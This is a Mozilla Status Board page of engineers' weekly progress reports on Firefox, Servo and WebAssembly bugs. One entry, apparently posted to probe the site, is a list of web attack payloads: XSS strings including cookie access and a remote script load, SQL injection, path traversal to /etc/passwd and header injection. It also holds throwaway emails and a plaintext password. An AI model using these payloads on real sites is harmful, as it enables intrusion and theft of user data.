Mozilla Status Board

Recent Posts (All Users)

rharter@mozilla.com today

Done:

  • Bug 1286262 - Re-write the Windows 10 usage dashboard on top of re:dash
    • Dashboard working
    • Choosing optimal sampling, dealing with views, trying to calculate % without ROLLUP
    • Should be closed soon
  • Bug 1286573 - Create cross-sectional parquet dataset
    • Researching project, what are the requirements?
    • Figuring out where the data is stored and getting credentials:
      • AWS Credentials
      • Airflow
  • Bug 1286273 - Improve s.t.m.o. documentation
    • Started documentation here
    • Attending PM meeting to understand documentation needs

Next:

Coordination:

Look out for a new Wiki page documenting STMO in the next day or so.

mgoregaokar@mozilla.com today

Next:

Stylo:

  • Continue work with clip-path/basic-shape
  • Continue auditing for safety
  • Work on url() when cam's work lands

GC: Discuss the open design questions if people have time. Perhaps start familiarizing self with the details of Felix's implementation.

Servo: Use Feature-detector-detector on real sites and gather data on features we need to support.

Reviews reviews reviews.

Coordination:

For url(): Blocked on cam's work on url landing.

For Gc: Blocked on discussions

(can wait for both)

hiikezoe@mozilla-japan.org today

Done:

Fixed
  • Bug 1287725 - Drop KeyframeEffectReadOnly::HasAnimationOfProperties and nsLayoutUtils::HasCurrentAnimationsForProperties
Reviewed
  • Bug 1282312 - invalidation problems with combination of -moz-element() and 3D transforms
Filed
  • Bug 1289928 - Drop nsStyleContext* argument from BuildSegmentsFromValueEntries()
Answered ni?
  • Bug 1279677 - Some UI animations (like Download arrow or Bookmark star icon) remain partially on screen with Firefox 47.0
Landed test
WIP
  • Bug 1278136 - Create a stacking context for transform/opacity animations on 'transform:none'/'opacity:1' segment even if OMTA is disabled
  • Bug 1216843 - implement effect iteration composition

Next:

  • Bug 1216843 - implement effect iteration composition
  • Bug 1278136 - Create a stacking context for transform/opacity animations on 'transform:none'/'opacity:1' segment even if OMTA is disabled

bbirtles@mozilla.com today

Done:

  • reviewed: bug 1049975 - Make Animation.effect writeable
  • reviewed: bug 1287725 - Drop KeyframeEffectReadOnly::HasAnimationOfProperties and nsLayoutUtils::HasCurrentAnimationsForProperties
  • reviewed: bug 1264865 - steps(3, end) should serialize using the shorter steps(3) syntax
  • reviewed: bug 1278136 - Create a stacking context for transform/opacity animations on 'transform:none'/'opacity:1' segment even if OMTA is disabled
  • reviewed: bug 1277433 - Use discrete animation for appropriate css alignment properties
  • reviewed: bug 1277908
  • investigated: bug 1286476 - Unexpected fill mode applied when reversing an animation
  • investigated: bug 1210795 - Display animations' timing-functions in the animation-inspector
  • Wrote draft hacks article
  • Spec changes to CSS transitions for:
  • Spec changes to Web Animations that landed but haven't been build because bikeshed doesn't work with the latest html5lib
  • Reviews of Blink submission of Web Animations tests to web-platform-tests
  • Various discussions / proposals about scroll-based timelines
  • Stylo meeting

Next:

  • Finish hacks article
  • Review remaining wpt tests from blink upstream
  • More pending spec changes included those needed for bug 1286476 - Unexpected fill mode applied when reversing an animation
  • start on: bug 1253476 - Collapse filling script-generated animations

shuang@mozilla.com yesterday

Done:

  • Figure out CORS
  • Investigating: Bug 1254382 - Investigate CORS test failures in testing/web-platform/meta/cors/
  • Waiting for review: Bug 1267941 - Implement Storage API estimate() feature
  • Discuss with the front-end and UX team about Storage API preference wireframe

Next:

  • Figure out CORS
  • Storage API

Coordination:

  • Bug 1274315 - Mochitest cannot be used to test [SecureContext] API
  • Bug 1286312 - Add mochitest option to run tests using https

amccreight@mozilla.com 2 days ago

Done:

  • Bug 1288817 - Refcount XPCNativeScriptableShared. Waiting for review.
  • Bug 1288870 - Refcount XPCNativeInterface. Waiting for review.
  • Bug 1289137 - Make XPCNativeSet::NewInstance() take an nsTArray argument. Waiting for review.
  • Bug 1288909 - Refcount XPCNativeSet.
  • landed: Bug 1288823 - Various XPConnect cleanups.
  • landed: Bug 1289136 - Fifth argument to XPCConvert::NativeInterface2JSObject() is always null.
  • landed: Bug 1289215 - Mismatched sizes assertion in nsTraceRefcnt.cpp should be fatal.
  • landed: Bug 1289550 - Remove "fun little hack" from XPCNativeSetKey.
  • Bug 1280591 - Landed some release debugging code for this JS gray tracing crash.
  • Looked into why LSan was failing.
  • landed: "LeakSanitizer has encountered a fatal error." should turn the tree orange.
  • landed: Bug 1287166 - Use NS_ADDREF less in dom/.
  • landed: Bug 1287623 - Use StaticRefPtr more.
  • landed: Bug 1287624 - Use RefPtr::forget() instead of RefPtr::swap() in more places.
  • landed: Bug 1287636 - Remove HTMLContentSink::mNodeInfoCache.
  • Bug 1287219 - Filed a bug about some weird refcounted pointer handling in FTP code.

Next:

  • Trying to figure out the XPCNativeSet hashtables for bug 1288909.

jseward@acm.org 2 days ago

Done:

Races in Gecko:

  • bug 1283852 (nsThreadStartupEvent::mInitialized): landed
  • bug 1274256 (ffmpeg races): saga drags on, but there now is potentially a way to fix it that works for both upstream and us. I learnt a lot about memory consistency models as a result.
  • Did a new Mochitest run on TSan. Encouragingly clean, really.
  • Wondered whether TSan is really the best tool for this, and about how many of these races are actually harmful. Start reading about more recent data race developments, in particular Portend, from EFPL (Lausanne). They say only 10%-20% of reported races are actually harmful. Alarming.
  • Started work on trying to correlate orange tests with races. Working with xpcshell-test oranges to start with.

Undef value errors in Gecko:

  • bug 1135609 (sec bug): I investigated more. Looks like this might actually get fixed now.
  • bug 1288726: newly enabled Seccomp sandbox nukes Valgrind. Made fix; too dangerous; second fix on the way.
  • Did a new Mochitest run on Memcheck. Situation seems much worse but is (primarily?) due to bugs in system libraries to do with rendering. Don't really understand why this has changed.
  • Found bug 1288393 (mozilla::dom::MediaQueryList) but then couldn't reproduce it.

Valgrind:

  • Power9 support reviews.
  • Fixed various bugs: 359952, 353727, 353384 (missing PCMPxSTRx variants), 362935 (silly assertion regression).
  • Looked at V slowness on Firefox, which has gradually been getting worse for a long time and is now very bad. Gecko's JITs are more aggressive than ever, which gives V problems. And Gecko is just freaking huge now.
  • Talked with TedM a bit. He very kindly assembled a script to start Fx, load a web page and quit, so as to facilitate (less-un)deterministic and hands-free benchmark runs.

Other

  • Finally gave up using TabCandy/Panorama View for tab management, alas, due to IMO poor user interface changes following the community handoff. Moved to Tree Style Tab instead.
  • /* */

Next:

Continue with all the above, but with emphasis on the orange-race correlation stuff.

mh+mozilla@glandium.org 3 days ago

Done:

Reviewed: - bug 1286788, bug 1262731, bug 1284197, bug 1280637, bug 1286436, bug 1286649, bug 1286089, bug 1286426, bug 1287258, bug 1286022, bug 783733, bug 1287325, bug 1287541, bug 1269517, bug 1288644, bug 1285503, bug 1288859, bug 1288984. bug 1285506, bug 1287924

Landed bugs:

  • bug 1286993: ImportError: No module named pymake.parser running mach empty-makefiles
  • bug 1287023: Allow to use delayed_getattr in more cases
  • bug 1286204: Require at least clang 3.6.
  • bug 1287234: git mozreview configure broken with git cinnabar 0.4.0beta1 without git-cinnabar-helper
  • bug 1280578: Wrap HeapAlloc, HeapFree and HeapReAlloc on Windows
  • bug 1288313: Ensure the host and target compilers build for the right endianness
  • bug 1289239: Remove autoconf-based C++ compiler validation check.
  • bug 1289246: Do not hardcode mt.exe as the Manifest Tool
  • bug 1289286: Automatically find MSVC from the registry if it's not in $PATH

Waiting for review:

Other:

  • Hit complications with l10n, where multi-locale repacks make things less straightforward.
  • Looked at bug 1286405
  • Looked at bug 1269705
  • Mentored bug 1272629
  • Investigated MOZ_ALIGNOF vs alignof and filed bug 1288016
  • Released git-cinnabar 0.4.0b2

Next:

  • More configure.py

sbautista@mozilla.com 3 days ago

Done:

Next:

  • Scrub PII from UR reports to contribute to UR report repository
  • Pre-analysis of Workflows Edmonton data in preparation for analysis week next month
  • Analysis of Add-ons Discovery Pane research
  • MinVid user testing

amarchesini@mozilla.com 3 days ago

Done:

Workers:

  • Bug 1286487 - Arbitrary memory access in ConsoleCallData::Trace
  • Bug 1286904 - Crash in `anonymous namespace''::MessageEventRunnable::DispatchDOMEvent
  • Bug 1288031 - CloseHandlerStarted() is called wrongly in WorkerPrivate
  • Bug 1280167 - WebSocket WorkerRunnableDispatcher uses ModifyBusyCountFromWorker wrongly
  • Bug 1288033 - Decease the busyCount when Cancel() is called in WorkerRunnable.

Blob + IPC:

  • Bug 1288997 - MOZ_CRASH(IPC message size is too large)
  • Bug 1279493 - Use blob URLs exclusively rather than having mediastream and mediasource URLs

Containers:

  • Bug 1267916 - [Metabug] Implement about:containers
  • Bug 1287091 - ContextualIdentityService should use a database to store Containers
  • Bug 1287765 - Decide what 'learn more' link for containers in about:preferences should point to
  • Bug 1287879 - Remove an non-used variable in ContextualIdentityService
  • Bug 1288057 - Fix 2 conflicts in accesskeys in about:preferences
  • Bug 1280105 - Crash in mozilla::dom::TabChild::RecvSwappedWithOtherRemoteLoader: MOZ_CRASH("Update to TabContext after swap was denied.");
  • Bug 1279297 - need to restart fx for the container icon to appear under the hamburger menu
  • Bug 1285515 - Telemetry wanted: How many of each container type is open for usercontext id 1-4

FileSystem/Directory/Entries APIs:

  • Bug 1274959 - Do we want to support link files in HTMLInputElement - filePicker/directory upload API/blink fileSystem API?
  • Bug 1288681 - Rename HTMLInputElement::directory to HTMLInputElement::allowdirs

DOM:

  • Bug 1287760 - Comment out AddEventListenerOptions.once
  • Bug 1288694 - Wrong use of ErrorResult in dom/ipc/FilePickerParent
  • Bug 1288736 - Add some missing rv.SuppressException()
  • Bug 1289010 - Correct ErrorType message for File CTOR

Ms2ger@gmail.com 3 days ago

Done:

Servo DOM

Servo other

Testing

Standardization

Administration

  • 2016-07-20: 1:1

Gecko

SpiderMonkey

  • 2016-07-18: tried and failed to generate linux32 bindings
  • 2016-07-19: rebased the smup to test vlad's Windows bindings (thanks vlad!)
  • 2016-07-19: started cleaning up the commit history for the smup
  • 2016-07-20: investigated the android build failure on the smup with froydnj

Reviews

Next:

more of the same

Coordination:

My birthday on Sunday; don't know when I'll take the day off yet.

josh@joshmatthews.net 4 days ago

Done:

Gecko:

  • reviewed fetch WPT test changes
  • worked on fixing the e10s SW registration race
  • investigated twitter cookie eviction

Servo:

  • reviewed service worker integration, fetch + devtools
  • discussed GC concerns
  • TWiS
  • made ipc-channel in-process implementation threadsafe
  • investigated codegen problems with sequences of sequences in WebIDL
  • sped up binding codegen

Next:

  • review queue backlog
  • more e10s SW registration race work
  • try to reproduce cookie eviction edge cases

mphillips@mozilla.com 4 days ago

Done:

Additional poking around with cretonne.

  • Built a dominator tree prototype but it was poorly done.
  • Dorked aspects of the CFG implementation.
  • Trying to educate myself about compilers.

Thinking about how to propose Date.parse changes.

Watching Typed Array Bugs.

Next:

  • Prepare materials for Date.parse proposal.
  • Fix the terrible things I did to cretonne and write integration tests for it.
  • Take one of the small remaining TypedArray bugs.

lbergstrom@mozilla.com 4 days ago

Done:

  • TWIS
  • Fixed Windows build publishing
  • Did a buildbot update and fixed Windows builds / builders for new infra
  • Android linker investigations for SMUP
  • Continued work getting the Windows nightly out
  • Oxidation coordination
  • Started transition of toddler from nanny to preschool :-)

Next:

  • TWIS
  • Review changes to get the Windows nightly MSI out
  • Land Android build changes for the SMUP
  • Work with vlad on the MSVC changeover, post-SMUP
  • Work with jack to track down Windows perf issues in the MSI
  • Keep pushing on Oxidation stuff

masayuki@d-toybox.com 4 days ago

Done:

This post includes my work between 2016-07-12 and 2016-07-25

  • Writing patches: Bug 1257446 [TSF] Candidate window is overlapped on composition string when using Google Japanese IME on gmail compose window
  • Writing patches: Bug 1286464 - [TSF] Google Japanese Input doesn't show input mode popup when caret is in empty line of HTML editor since bug 1257446
  • Writing patches: Bug 1286770 - [TSF] Google Japanese Input doesn't show input mode popup when caret is at start of a line in a contenteditable editor
  • Writing patches: Bug 1257617 - keypress event with ctrl modifier fires twice
  • Wrote patches and waiting to land: Bug 1286157 - [TSF] TSFTextStore should use relative offset query when there are pending changes
  • FIXED: Bug 1286489 - [TSF] Don't put \r\n directly to log file
  • FIXED: Bug 1286730 - [non-e10s] NOTIFY_IME_OF_COMPOSITION_EVENT_HANDLED isn't notified after committing composition
  • FIXED: Bug 1288318 - Google Japanese IME unexpectedly deactivates in location bar
  • Reviewed: Bug 1275473 - Enable jsplugin to retrieve composition clauses information from a composition dom event
  • Reviewed: Bug 1286753 - Candidate window is always located at 1st character of editable text
  • Reviewed: Bug 1261299 - [e10s] Mac OS X Services is not available for e10s tab content
  • Reviewed: Bug 1018486
  • Answered ni?: Bug 1286117 - [e10s][TSF] Composition string may appear in floating window at top-left of the screen when you remove all string from tweet field of twitter.com and restart composition string
  • Answered ni?: Bug 1286769 - Focus on an empty contenteditable resulting no ClientRect in the selection range
  • Answered ni?: Bug 1288593 - [jsplugins] Use "text" event as "compositionupdate" event for js-plugin
  • Answered ni?: Bug 1266815 - Occasional "IME is disabled" in telegram web / whatsapp web
  • Filed: Bug 1285791 - Adjust signature of crash reports to new class names under editor/libeditor
  • Rewrite the IME handling code document: https://developer.mozilla.org/en-US/docs/Mozilla/IME_handling_guide

Next:

  • Bug 1257617 - keypress event with ctrl modifier fires twice
  • Bug 1271125 - Port editor mochitests that depend on ChromeUtils.js to mochitest-plain (Review)
  • Bug 1286464 - [TSF] Google Japanese Input doesn't show input mode popup when caret is in empty line of HTML editor since bug 1257446

ajeffrey@mozilla.com 4 days ago

Done:

Next:

  • Work with Kyle Headley on incrementalizing display list construction.

agrigas@mozilla.com 4 days ago

Done:

  • gave feedback on widows safety mode
  • worked on test pilot add-on
  • wireframed plugins initial states
  • Next:

  • continue TP add on work
  • contine plug-ins control center work
  • review web extension permissions UI max is working on
  • mkato@mozilla-japan.org 4 days ago

    Done:

    • Bug 1094729 - Support InputMethodManager#updateCursorAnchorInfo for Android 5.0
      • Update review comment
    • Bug 1262102 - Fix --with-intl-api on Android
      • Writing new fix
    • Bug 1266815 - Occasional "IME is disabled" in telegram web / whatsapp web
      • Writing fix
    • Bug 1286741 - clicking on address bar clears the current URL causing no way to copy-and-paste the current URL
      • Investigating
    • Bug 1286753 - Candidate window is always located at 1st character of editable text
      • Uplift
    • Bug 1287015 - Remove SurfaceBits and getSurfaceBits
      • Landed
    • Bug 1288595 - Conflict DECLARE_HANDLE(DPI_AWARENESS_CONTEXT) with the latest Windows SDK beta (10.0.14383.0)
      • Landed
    • Bug 1288616 - Remove unused AcquireNativeWindowFromSurfaceTexture / ReleaseNativeWindowForSurfaceTexture
      • Wring fix
    • Bug 1288625 - Allow compiling ipc/chromium for Android 64-bit
      • Wring fix
    • Bug 1288644 - Don't define RTLD_NOLOAD when __ANDROID_API__ >= 21
      • Writing fix
    • Bug 1288650 - Export mac/nsOSHelperAppService.h instaed of win/nsOSHelperAppService.h on OSX builder
      • Writing fix
    • 1 National Holiday

    Next:

    • Bug 1094729 - Support InputMethodManager#updateCursorAnchorInfo for Android 5.0
    • Bug 1262102 - Fix --with-intl-api on Android
    • Bug 1266815 - Occasional "IME is disabled" in telegram web / whatsapp web
    • Leaning rust/LLVM work

    bbouvier@mozilla.com 4 days ago

    Done:

    • Mainly bug 1286517, adding the Global section in wasm, which was much more work than expected: int64 globals, test coverage, initializer expressions...
    • Closed intermittent wasm bug 1267441.
    • Opened bug 1288778 about asm.js vs wasm telemetry idea.
    • Reviews! (14)

    Next:

    slyu@mozilla.com 4 days ago

    Done:

    • Enabling reftests on Stylo
    • Studying Servo flexbox status
    • Read flexbox spec
    • Update #11107: Bug 10452 - Page Load Time Test Runner
    • Write WebRender overview wiki and trace the code

    Next:

    • Enable reftests on Stylo
    • Implement Stylo properties
    • Prepare COSCUP talk
    • Find flexbox feature or bug to work on

    lhansen@mozilla.com 4 days ago

    Done:

    Shared memory:

    • Follow up to feedback from reviewers, mainly
    • Meeting re security concerns
    • TC39 presentation work

    Sick one day.

    Next:

    TC39 meeting in Redmond + travel, all week

    daisuke@mozilla-japan.org 4 days ago

    Done:

    • in review: Bug 1264865 - steps(3, end) should serialize using the shorter steps(3) syntax
    • WIP: Bug 1277433 - Use discrete animation for appropriate flexbox properties
    • investigating: Bug 1288575 - getComputedStyle() returns incorrect value of rgba color animations
    • 1PTO (7/20)

    Next:

    • Bug 1277433 - Use discrete animation for appropriate flexbox properties
    • Bug 1264865 - steps(3, end) should serialize using the shorter steps(3) syntax
    • Bug 1288575 - getComputedStyle() returns incorrect value of rgba color animations
    • devtool for Animation

    nnethercote@mozilla.com 5 days ago

    Done:

    Landed:

    • Bug 1262731 - Don't use a separate ICU data file on Windows. Fixes the #10 top crash on Beta, which prevented Firefox from starting.
    • Bug 1286709 - Assert the non-nullness of a GetApzc() call's return value.
    • Bug 1197973 - Use MOZ_MUST_USE in AutoJSAPI.
    • Bug 1273043 - Add a missing null check to HttpChannelChild::DoOnStartRequest(). Fixes a low-volume crash.
    • Bug 1287361 - Two tiny XPT tweaks.

    Other:

    adw@mozilla.com 6 days ago

    Done:

    • landed: Bug 1280825 - Download panel is truncated in French when running more than 3 downloads
    • more patches: Bug 1180944 - Implement one-off searches from Awesomebar
    • posted patch: Bug 798223 - Investigate increasing OPTIMIZED_FAVICON_DIMENSION for high-dpi devices
    • posted new patch: Bug 1280709 - Downloads panel's "Show All Downloads" menu item is no longer clickable below its text label
    • triaged some search and location bar bugs
    • vacation last week (7/11-7/15)

    neil@mozilla.com last week

    Done:

    Worked on select related bugs:

    Have patch reviewed: bug 1253975 P1 - scroll position should be aligned better bug 1128156 P2 - use a maximum size that is exactly 20 items to prevent erratic scrolling bug 1256313 P1 - clear active state when popup closed

    Have patch ready for testing:

    *bug 1159301 P2 - click and hold to select not working on Linux *bug 1226915 P3 - page scrolls when mousewheel used on select popup while mouse is down *bug 1249177 P2 - close popup when switching in and out of fullscreen

    Have work in progress patch for:

    *bug 1194027 P1 - double click to close *bug 1253979 P1 - dropmarker state incorrect after click, hold and release *bug 1264271 P3 - dropmarker state incorrect after moving mouse outside of popup

    mohammed_fayez2011@yahoo.com last week

    Done:

    [jjjjjjjjjjjjjjjjjjjjjjjjjj]{javascript:alert(1)}croudrae@turoid.com croudrae@turoid.com

    '+and+extractvalue(0x0a,concat(0x0a,(user))))--+-

    '+and+extractvalue(0x0a,concat(0x0a,(database))))--+-

    '+and+extractvalue(0x0a,concat(0x0a,(version))))--+-

    frouchio@dodsi.com swsw2313@

    mahubiok@turoid.com

    uaesliac@turoid.com Swsw2313@

    kousiage@turoid.com fb fb swsw2313

    ">

    Your account is now active!

    Username: iooooooooooooo

    Password: 0napfHEHUcJ0

    https://gleam.io/me?cb=

    //%2Fxxx:1%2F%0AX-XSS-Protection:0%0AContent-Type:text/html%0AContent-Length:39%0A%0A%3Cscript%3Ealert%28document.domain%29%3C/script%3E%2F..%2F..%2F..%2F../tr

    /%5c../%5c../%5c../%5c../%5c../%5c../%5c../etc/passwd

    daTa:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K#

    http://boringz.com/the-hottest-girls-caught-doing-the-dumbest-things/ ?utm_source=promotion &utm_medium=contentad https://www.facebook.com/recover/password?u=100010934387262&n=409642

    dsdsdasds222@outlook.com

    dfsdf22@outlook.com

    ssssssssss23sss@outlook.com

    kiagaejo@dodsi.com

    naiwouce@turoid.com

    mohammed5676@mohmal.com

    58u61m

    ';alert(/XSSPOSED)//';alert(1)//";alert(2)//\";al ert(3)//-->">'> =&{}");}

    '"-->

    '"-->

    ”> t" onmouseover=alert(document.cookie).a=' '';!--"

    ">

    ipt>

    alert(\"XSS\")

    '); ?>

    /%5c../%5c../%5c../%5c../%5c../%5c../%5c../etc/passwd /../../../../../../../../../../etc/hosts%00 ../../../../../../etc/passwd {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)}} {meme, src= http://dummy//onerror=eval(prompt(1))// } "> if(now()=sysdate(),sleep(0),0)/'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"/ "]);}catch(e){}if(!self.a)self.a=!alert(document.domain);// ?playerID=a\”))}catch(e){alert(1)}// ">https://bugcrowd.com/list-of-bug-bounty-programs/ https://community.dynamics.com/user/createuser.aspx?RedirectUrl=javascript:alert(1); window.alert("Bonjour !");

    "> ');alert(1);('a ">

    );\">

    alert("XSS")

    '?> " onfocus=alert(document.domain) "> <"
    • XSS perl -e 'print \"\";' > out perl -e 'print \" ">
    '"> '""> <<< '>">">http://www.site.com/XSS.js'> } a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d); ='>

    ">/XaDoS/> ">/KinG-InFeT.NeT/> src="http://www.site.com/XSS.js">

    data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4= !--" /> ">> '">> ">">>

    Next:

    [jjjjjjjjjjjjjjjjjjjjjjjjjj]{javascript:alert(1);//google.com}

    Coordination:

    [jjjjjjjjjjjjjjjjjjjjjjjjjj]{javascript:alert(1);//google.com}

    sawang@mozilla.com last week

    Done:

    Working on

    • Bug 1268962 - Fire load/error events on <link rel="prefetch">
    • Bug 1276553 - Make nsISHistory support "partial" mode.

    joliu@mozilla.com last week

    Done:

    • offsite meeting

    Next:

    • Bug 1276579 - Revise document.createElement[NS] for custom elements (r?)

    jdai@mozilla.com last week

    Done:

    • Bug 1278148 - Adjust content type for document.implementation.createDocument() which is determined by namespace (Landed)
    • Bug 1275833 - Add CustomElementsRegistry interface for custom element. (f+)
    • Bug 1274505 - Remove support of SVG-based custom element(f?)

    Next:

    *Bug 1281375 - Navigating to a javascript URL does not override the document's URL(ongoing)

    • Bug 1254125 - Don't propagate errors to SharedWorker
    • Bug 1209445 - Missing ServiceWorker script gives confusing TypeError message - The expression cannot be converted to return the specified type

    ttung@mozilla.com last week

    Done:

    • Bug 1187335 - Integrate fetch with subresource integrity (r+)
    • Bug 1281103 - Support GetGroupUsageAndQuota in QuotaManagerService or QuotaManager (r?)

    Next:

    htsai@mozilla.com last week

    Done:

    • Offsite meeting

    Next:

    • RSSD report
    • Q3 goal setting

    jjong@mozilla.com last week

    Done:

    • Bug 1283022 - Implement the min and max attribute for <input type=month> (r+)

    Ongoing:

    • Bug 1283023 - Implement the step attribute for <input type=month>
      • considering changing the implementation of step attribute for input type=date
    • Bug 1286182 - Implement the layout for <input type=date>
      • working on XBL part

    Next:

    • Bug 1283023 - Implement the step attribute for <input type=month>
    • Bug 1286182 - Implement the layout for <input type=date>
    • Bug 1282894 - "Assertion failure: !Failed()" - mozilla::dom::HTMLTableElement::SetCaption
    • Bug 1281769 - Do not throw when getting selectionDirection/selectionStart/selectionEnd on input

    echen@mozilla.com last week

    Done:

    • landed: bug 1286548 - Add an optional argument to isExposedConditionally method for SecureContext
    • reviewed: bug 1275833 - Add CustomElementsRegistry interface for custom element
    • reviewed: bug 1274505 - Remove support of SVG-based custom element
    • bug 1274159 - Add [HTMLConstructor] to support custom element feature
      • wip patch
    • bug 1275835 - Implement CustomElementsRegistry define function
      • investigated why JS::IsConstructor returns true for arrow function

    Next:

    • bug 1275835 - Implement CustomElementsRegistry define function
    • bug 1251028 - window.open(URL).print() ends up printing about:blank, instead of the opened URL
    • bug 1281670 - Style attribute is not parsed into style object under certain conditions

    Coordination:

    • sharing
      • webidl parser & codegen - 8/4 or 8/5

    mantaroh@gmail.com last week

    Done:

    • Scroll-driven Prototyping and write the proposal.
    • wrote patch/investigate : bug 1217803 - Animating elements don't always respect border-radius mask
    • investigate bug 911987 - Add onanimation* event handlers, and ontransitionend (and webkit versions
    • land : bug 1284396 - Animation uses timeline as its parent object but that object may change

    Next:

    • bug 911987 - Write patch.
    • Update document - Scroll driven animation.

    sphink@gmail.com last week

    Done:

    • SM(asan tsan msan) landed, but are try-only for now
    • Dug pretty deep into bug 1269705, which turns out to be a manifestation of bug 909094
    • Fix some of the unsafe refs, figured out what to do to fix/annotate a bunch more

    Next:

    • More unsafe refs
    • Look at the msan bugs
    • Maybe make tsan and msan only error if you increase the number of distinct errors, so we can run them as tier 1
    • Do whatever is necessary based on Waldo's review of bug 1240984

    kvijayan@mozilla.com last week

    Done:

    • Fixed bug 1246680 - Make ReadSPSProfilingStack check to see if profiling is suppressed before doing a stack sample.
    • Fixed bug 1286636 - Use dedicated custom-port UDP socket to query for mDNS services.
    • Fixed bug 1287163 - Remove over-strict asserts in InternalResponse IPC code.
    • Finished and sent draft of FlyWeb partner pitch idea to Dees. Waiting for response.

    Next:

    • Add user prompt when a page uses Navigator.publishServer to publish a page via FlyWeb.

    jolesen@mozilla.com last week

    Done:

    WebAssembly

    • Bug 1279312 TLS register for wasm functions. Measured the performance overhead of using a pinned TLS register on the AWFY asm.js benchmarks. On 32-bit x86, the zlib benchmarks run 5-8% slower with a pinned TLS register. The approach I am implementing in this bug has a much smaller impact: The not-pinned, spillable TLS register causes less than 1% slowdown for most benchmarks and 2% for the worst case. Prepared round 1 patches for review.

    SIMD

    • Looked at using SMT-LIB for formally specifying SIMD instruction semantics. This shouldn't block the human-readable specification.
    • Preparing SIMD proposal for WebAssembly meeting.

    Next:

    WebAssembly:

    • Bug 1279312 TLS register for wasm functions: Awaiting reviews before landing the TLS pointer register with stack limit checking implemented.

    Cretonne:

    • Reorganize internal representation around Rust's borrow checker.

    jcoppeard@mozilla.com last week

    Done:

    This is for the last few weeks.

    Evaluating having a semispace nursery. Currently it's no faster on benchmarks.

    Trying to work out how error handling of module instantiation should work in the HTML module loader. Currently it's broken.

    GC:

    • Minor improvements to whole cell store buffer tracing (bug 1286833)
    • Print totals on shutdown when profiling the nursery (bug 1286504)
    • Be more cautious about shrinking the nursery to reduce frequent resizing (bug 1286506)
    • Reduce OOM crashes by handling OOM when generating hashcodes for movable GC pointers (bug 1260785)
    • Assert shape table consistency in debug builds (bug 1284388)

    Modules:

    • Be more robust against buggy module loader trying to re-instantiate modules after failure (bug 1284486)
    • Freeze module objects (bug 1283448)

    Misc:

    • Report an error if there are too many block scoped bindings (bug 1282502)

    Also, moved to new London office.

    Next:

    Fix more GC bugs. Attempt to resolve module issues.

    mverdi@mozilla.com last week

    Done:

    Next:

    • Figure out the team to move forward on onboarding.

    kheadley@mozilla.com 2 weeks ago

    Done:

    • Look deeper into display list code
    • chat with pcwalton about display list performance
    • meet with team for more redirecting

    Next:

    • look into invariants of DL sort order
    • confirm iterator-style DL lookup
    • consider new incremental data structures for DL